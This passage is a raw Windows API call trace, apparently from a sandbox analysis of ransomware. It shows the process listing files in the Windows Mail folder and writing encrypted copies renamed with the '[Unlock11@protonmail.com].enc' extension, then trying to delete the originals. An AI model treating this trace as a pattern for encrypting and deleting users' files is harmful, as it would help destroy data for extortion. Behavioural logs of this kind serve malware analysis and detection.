ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0229.850] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0229.850] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us")) returned 0x10 [0229.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0229.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0229.851] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll")) returned 0x20 [0229.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0229.852] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll")) returned 0x20 [0229.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0229.852] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll" (normalized: "c:\\program files (x86)\\windows mail\\oeimport.dll")) returned 0x20 [0229.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0229.856] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe")) returned 0x20 [0229.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.857] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll" (normalized: "c:\\program files (x86)\\windows mail\\wabimp.dll")) returned 0x20 [0229.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0229.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881000, Size=0x20) returned 0x33eaa30 [0229.857] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe")) returned 0x20 [0229.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0229.858] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe")) returned 0x26 [0229.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0229.858] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\msoe.dll", lpFilePart=0x9bada4*="msoe.dll") returned 0x2c [0229.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.859] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll", lpFilePart=0x9bada4*="MSOERES.dll") returned 0x2f [0229.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0229.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0229.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0229.859] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\oeimport.dll", lpFilePart=0x9bada4*="oeimport.dll") returned 0x30 [0229.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0229.859] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\wab.exe", lpFilePart=0x9bada4*="wab.exe") returned 0x2b [0229.860] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00)) returned 1 [0229.860] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0229.860] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.860] GetFileType (hFile=0x334) returned 0x1 [0229.861] GetFileType (hFile=0x334) returned 0x1 [0229.861] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.861] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.862] GetFileType (hFile=0x39c) returned 0x1 [0229.862] GetFileType (hFile=0x39c) returned 0x1 [0229.862] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.862] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.862] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.862] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.862] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.862] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.863] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.878] CloseHandle (hObject=0x39c) returned 1 [0229.878] CloseHandle (hObject=0x334) returned 1 [0229.878] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wab.exe" (normalized: "c:\\program files (x86)\\windows mail\\wab.exe")) returned 0 [0229.879] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\wabimp.dll", lpFilePart=0x9bada4*="wabimp.dll") returned 0x2e [0229.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0229.879] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe", lpFilePart=0x9bada4*="wabmig.exe") returned 0x2e [0229.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0229.879] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0229.880] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0229.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0229.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0229.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0229.880] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.880] GetFileType (hFile=0x334) returned 0x1 [0229.881] GetFileType (hFile=0x334) returned 0x1 [0229.881] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.881] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.904] GetFileType (hFile=0x39c) returned 0x1 [0229.904] GetFileType (hFile=0x39c) returned 0x1 [0229.905] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.905] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.905] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.905] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.905] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.905] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.905] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.950] CloseHandle (hObject=0x39c) returned 1 [0229.950] CloseHandle (hObject=0x334) returned 1 [0229.951] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files (x86)\\windows mail\\wabmig.exe")) returned 0 [0229.951] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe", lpFilePart=0x9bada4*="WinMail.exe") returned 0x2f [0229.951] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63c00)) returned 1 [0229.951] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671494 | out: pbBuffer=0x3671494) returned 1 [0229.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0229.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0229.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0229.952] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.952] GetFileType (hFile=0x334) returned 0x1 [0229.953] GetFileType (hFile=0x334) returned 0x1 [0229.953] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.953] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.954] GetFileType (hFile=0x39c) returned 0x1 [0229.954] GetFileType (hFile=0x39c) returned 0x1 [0229.954] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.954] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.954] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.954] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.954] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.955] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.955] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.967] CloseHandle (hObject=0x39c) returned 1 [0229.968] CloseHandle (hObject=0x334) returned 1 [0229.968] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files (x86)\\windows mail\\winmail.exe")) returned 0 [0229.968] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0229.968] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.969] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0229.969] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0229.969] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0229.969] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0229.970] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui")) returned 0x20 [0229.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0229.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0229.970] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui")) returned 0x20 [0229.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0229.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui", lpFilePart=0x9bada4*="msoeres.dll.mui") returned 0x39 [0229.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0229.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0229.971] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui", lpFilePart=0x9bada4*="WinMail.exe.mui") returned 0x39 [0229.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.971] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7610 [0229.971] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, 